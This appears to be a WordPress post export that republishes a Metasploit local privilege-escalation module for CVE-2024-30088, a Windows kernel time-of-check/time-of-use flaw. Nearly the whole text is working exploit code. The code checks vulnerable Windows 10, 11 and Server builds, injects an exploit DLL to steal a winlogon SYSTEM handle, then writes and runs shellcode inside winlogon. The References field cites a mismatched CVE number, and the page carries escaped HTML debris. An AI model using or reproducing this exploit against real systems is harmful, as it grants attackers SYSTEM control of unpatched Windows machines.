##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking<\/p>\n
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Post::Windows::Version
include Msf::Exploit::Retry
prepend Msf::Exploit::Remote::AutoCheck<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes’,
‘Description’ => %q{
CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,
Windows 11 and Windows Server 2022.<\/p>\n
The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when
the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the
kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute’s structure
directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and
`AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading
to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.
},
‘Author’ => [
‘tykawaii98’, # PoC (B\u00f9i Quang Hi\u1ebfu)
‘jheysel-r7’ # msf module
],
‘References’ => [
[ ‘URL’, ‘https:\/\/github.com\/tykawaii98\/CVE-2024-30088’],
[ ‘CVE’, ‘2024-30038’]],
‘License’ => MSF_LICENSE,
‘Platform’ => ‘win’,
‘Privileged’ => true,
‘SessionTypes’ => [ ‘meterpreter’ ],
‘Arch’ => [ ARCH_X64 ],
‘Targets’ => [
[ ‘Windows x64’, { ‘Arch’ => ARCH_X64 } ]],
‘DisclosureDate’ => ‘2024-06-11’,
‘Notes’ => {
‘Stability’ => [ CRASH_SAFE, ],
‘SideEffects’ => [ ARTIFACTS_ON_DISK, ],
‘Reliability’ => [UNRELIABLE_SESSION] # It should return a session on the first run although has the potential to fail.
}, # After the first run the original session will usually die if the module is rerun against the same session.
‘Compat’ => {
‘Meterpreter’ => {
‘Commands’ => %w[
stdapi_sys_process_get_processes
stdapi_railgun_api
stdapi_sys_process_memory_allocate
stdapi_sys_process_memory_protect
stdapi_sys_process_memory_read
stdapi_sys_process_memory_write
]}
}
)
)
end<\/p>\n
def target_compatible?(version)
# NOTE: Win10_1607 = Server2016 and Win10_1809 = Server2019. Both Server and Desktop version are supposed to be affected.
return true if version.build_number.between?(Msf::WindowsVersion::Win10_1507, Rex::Version.new(‘10.0.10240.20680’)) ||
version.build_number.between?(Msf::WindowsVersion::Win10_1607, Rex::Version.new(‘10.0.14393.7070’)) ||
version.build_number.between?(Msf::WindowsVersion::Win10_1809, Rex::Version.new(‘10.0.17763.5936’)) ||
version.build_number.between?(Msf::WindowsVersion::Win10_21H2, Rex::Version.new(‘10.0.19044.4529’)) ||
version.build_number.between?(Msf::WindowsVersion::Win10_22H2, Rex::Version.new(‘10.0.19045.4529’)) ||
version.build_number.between?(Msf::WindowsVersion::Win11_21H2, Rex::Version.new(‘10.0.22000.3019’)) ||
version.build_number.between?(Msf::WindowsVersion::Win11_22H2, Rex::Version.new(‘10.0.22621.3737’)) ||
version.build_number.between?(Msf::WindowsVersion::Win11_23H2, Rex::Version.new(‘10.0.22631.3737’)) ||
version.build_number.between?(Msf::WindowsVersion::Server2022, Rex::Version.new(‘10.0.20348.2522’)) ||
version.build_number.between?(Msf::WindowsVersion::Server2022_23H2, Rex::Version.new(‘10.0.25398.950’))<\/p>\n
false
end<\/p>\n
def check
return Exploit::CheckCode::Safe(‘Non Windows systems are not affected’) unless session.platform == ‘windows’<\/p>\n
version = get_version_info
return Exploit::CheckCode::Appears(“Version detected: #{version}”) if target_compatible?(version)<\/p>\n
CheckCode::Safe(“Version detected: #{version}”)
end<\/p>\n
def get_winlogon_pid
processes = client.sys.process.get_processes
winlogon_pid = nil
processes.each do |process|
if process[‘name’].downcase == ‘winlogon.exe’
winlogon_pid = process[‘pid’]break
end
end<\/p>\n
winlogon_pid
end<\/p>\n
def get_winlogon_handle
pid = session.sys.process.getpid
process_handle = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
address = process_handle.memory.allocate(8)<\/p>\n
thread = execute_dll(
::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2024-30088’, ‘CVE-2024-30088.x64.dll’),
address,
pid
)<\/p>\n
calls = [
[‘kernel32’, ‘WaitForSingleObject’, [ thread.handle, 20000 ] ],
[‘kernel32’, ‘GetExitCodeThread’, [ thread.handle, 4 ] ],
]\n
results = session.railgun.multi(calls)
winlogon_handle = nil<\/p>\n
if results.last[‘lpExitCode’] == 0
print_good(‘The exploit was successful, reading SYSTEM token from memory…’)
current_memory = process_handle.memory.read(address, 8)
winlogon_handle = current_memory.unpack(‘Q<‘).first
end<\/p>\n
session.railgun.kernel32.VirtualFree(address, 0, MEM_RELEASE)
winlogon_handle
end<\/p>\n
def exploit
if is_system?
fail_with(Failure::None, ‘Session is already elevated’)
end<\/p>\n
version = get_version_info
unless target_compatible?(version)
fail_with(Failure::NoTarget, “The exploit does not support this version of Windows: #{version}”)
end<\/p>\n
winlogon_handle = get_winlogon_handle
fail_with(Failure::UnexpectedReply, ‘Unable to retrieve the winlogon handle’) unless winlogon_handle
print_good(“Successfully stole winlogon handle: #{winlogon_handle}”)<\/p>\n
winlogon_pid = get_winlogon_pid
fail_with(Failure::UnexpectedReply, ‘Unable to retrieve the winlogon pid’) unless winlogon_pid
print_good(“Successfully retrieved winlogon pid: #{winlogon_pid}”)<\/p>\n
host = session.sys.process.new(winlogon_pid, winlogon_handle)
shellcode = payload.encoded
shell_addr = host.memory.allocate(shellcode.length)
host.memory.protect(shell_addr)<\/p>\n
if host.memory.write(shell_addr, shellcode) < shellcode.length
fail_with(Failure::UnexpectedReply, ‘Failed to write shellcode’)
end<\/p>\n
vprint_status(“Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{winlogon_pid})”)
thread = host.thread.create(shell_addr, 0)
unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)
fail_with(Failure::UnexpectedReply, ‘Unable to create thread’)
end
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Exploit::LocalRank = ExcellentRanking include Msf::Exploit::Local::WindowsKernelinclude Msf::Post::Fileinclude Msf::Post::Windows::Privinclude Msf::Post::Windows::Processinclude Msf::Post::Windows::ReflectiveDLLInjectioninclude Msf::Post::Windows::Versioninclude Msf::Exploit::Retryprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,‘Name’ => ‘Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes’,‘Description’ => %q{CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59747","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59747","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59747"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59747\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59747"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59747"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59747"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}